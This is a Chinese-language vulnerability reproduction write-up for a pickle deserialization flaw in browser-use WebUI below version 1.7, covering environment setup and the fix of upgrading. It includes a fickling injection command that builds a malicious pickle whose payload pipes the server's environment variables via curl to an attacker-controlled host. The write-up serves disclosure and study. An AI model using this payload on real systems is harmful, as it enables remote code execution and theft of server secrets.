browser-use WebUI pickle 反序列化漏洞

漏洞描述

browser-use WebUI 是基于 browser-use 的 AI Agent 应用。2025 年 4 月,互联网上披露其旧版接口 update_ui_from_config 存在一个 pickle 反序列化漏洞,未经授权的远程攻击者可以利用该接口发送恶意的序列化数据,实现在服务端执行任意代码,导致服务器失陷。

参考链接:

披露时间

2025-04-28

漏洞影响

browser-use WebUI < 1.7

环境搭建

根据 官方文档,执行以下命令搭建并启动一个 1.6 版本的 browser-use WebUI:

# 检出 1.6 版本
git clone https://github.com/browser-use/web-ui.git
cd web-ui/
git checkout v1.6

# 创建 python 3.11 虚拟环境(官方文档为 uv,此处为 anaconda)
conda create -n web-ui python=3.11
conda activate web-ui

# 安装依赖
pip install -r requirements.txt
playwright install

# 配置环境
copy .env.example .env

# 启动服务
python webui.py --ip 127.0.0.1 --port 7788

注意,除了官方 requirements.txt 中的 python 依赖外,需要另外安装 socksiopysocks,回退 gradio 至旧版本,否则将引发错误:

pip install socksio pysocks
pip install gradio==5.23.0

环境启动后,访问 http://your-ip:7788/,此时 WebUI 1.6 已经成功运行。

漏洞复现

漏洞位于 src/utils/default_config_settings.py,服务器未对用户上传的 .pkl 配置文件进行校验,攻击者可以加载包含任意代码的恶意 pickle 文件:

首先,我们创建一个名为 default.pkl 的常规 pickle 配置文件,其中包含默认的 WebUI 配置:

import pickle
import uuid
import os

def default_config():
    """Prepare the default configuration"""
    return {
        "agent_type": "custom",
        "max_steps": 100,
        "max_actions_per_step": 10,
        "use_vision": True,
        "tool_calling_method": "auto",
        "llm_provider": "openai",
        "llm_model_name": "gpt-4o",
        "llm_temperature": 1.0,
        "llm_base_url": "",
        "llm_api_key": "",
        "use_own_browser": os.getenv("CHROME_PERSISTENT_SESSION", "false").lower() == "true",
        "keep_browser_open": False,
        "headless": False,
        "disable_security": True,
        "enable_recording": True,
        "window_w": 1280,
        "window_h": 1100,
        "save_recording_path": "./tmp/record_videos",
        "save_trace_path": "./tmp/traces",
        "save_agent_history_path": "./tmp/agent_history",
        "task": "go to google.com and type 'OpenAI' click search and give me the first url",
    }

def load_config_from_file(config_file):
    """Load settings from a UUID.pkl file."""
    try:
        with open(config_file, 'rb') as f:
            settings = pickle.load(f)
        return settings
    except Exception as e:
        return f"Error loading configuration: {str(e)}"

def save_config_to_file(settings, save_dir="./tmp/webui_settings", name=None):
    """Save the current settings to a UUID.pkl file with a UUID name."""
    os.makedirs(save_dir, exist_ok=True)
    outname = f"{uuid.uuid4()}.pkl"
    if name is not None:
        outname = name
    config_file = os.path.join(save_dir, outname)
    with open(config_file, 'wb') as f:
        pickle.dump(settings, f)
    return f"Configuration saved to {config_file}"

def update_ui_from_config(loaded_config):
    if isinstance(loaded_config, dict):
        print("load success")
        return loaded_config.get("agent_type", "custom")
    else:
        pass
        print("not a dict object")
    return "foobar"

if __name__ == "__main__":
    save_config_to_file(default_config(), save_dir=".", name="default.pkl")

接下来,我们安装 fickling 并使用它将恶意代码注入 pickle 文件。以下命令将生成一个名为 malicious.pkl 的恶意文件,该文件在加载时,将运行 env | curl -XPOST http://your-ip:9999 --data-binary @- ,泄露目标服务器的环境变量到攻击者服务器:

# 安装依赖
python -m pip install fickling

# 注入恶意代码
fickling --inject "os.system('env | curl -XPOST http://your-ip:9999 --data-binary @-')" default.pkl > malicious.pkl

最后,我们通过 WebUI 的 Configuration 选项卡加载此文件:

监听 9999 端口,即可接收到 env 的执行结果:

漏洞修复

升级至最新版本。